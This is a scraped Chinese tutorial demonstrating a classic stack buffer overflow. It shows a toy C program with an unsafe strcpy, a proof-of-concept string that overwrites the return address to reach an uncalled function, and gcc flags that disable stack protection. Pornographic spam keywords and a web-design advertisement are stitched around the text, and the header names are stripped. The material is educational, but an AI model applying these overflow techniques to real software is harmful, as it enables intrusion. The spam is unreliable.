真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

簡單棧溢出利用

#include
#include
void fun(char *name){
    char buf[10];
    strcpy(buf,name);
    printf("%s\n",buf);
}
void hack(){
    printf("flag\n");
}
int main(){
    char name[]="Alex@bbb";
    fun(name);
    return 0;
}

上面的程序是一個正常的C語言程序,但是main函數(shù)中沒有調(diào)用hack()函數(shù),下面我就演示下如何利用緩沖區(qū)溢出來執(zhí)行hack函數(shù)的內(nèi)容。

我們提供的服務(wù)有:成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、松桃ssl等。為超過千家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的松桃網(wǎng)站制作公司

使用codeblocks編譯并執(zhí)行上述程序后,拖入od查看棧的變化情況,看看給變量name賦什么值的時候,會恰好覆蓋掉call fun處的函數(shù)返回地址

簡單棧溢出利用

F7跟進(jìn)  F8 一句一句執(zhí)行:

簡單棧溢出利用

簡單棧溢出利用

因此我們添加poc:

#include
#include
void fun(char *name){
    char buf[10];
    strcpy(buf,name);
    printf("%s\n",buf);
}
void hack(){
    printf("flag\n");
}
int main(){
    char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //這里后邊四個為hack()函數(shù)地址
    fun(name);
    return 0;
}

重新編譯執(zhí)行后,我們發(fā)現(xiàn)利用成功:

 簡單棧溢出利用

在使用ubuntu復(fù)現(xiàn)棧溢出的時候需要關(guān)閉棧保護(hù)機(jī)制:

    使用gcc編譯時全部關(guān)閉保護(hù)機(jī)制,參數(shù)-fno-stack-protector用來關(guān)閉gcc編譯器gs驗證碼機(jī)制,

    -z execstack用來關(guān)閉ld鏈接器堆棧段不可執(zhí)行機(jī)制。

這里有一個linux下64位的棧溢出過程。

https://www.secpulse.com/archives/32328.html 


文章名稱:簡單棧溢出利用
文章來源:http://weahome.cn/article/ggcooo.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部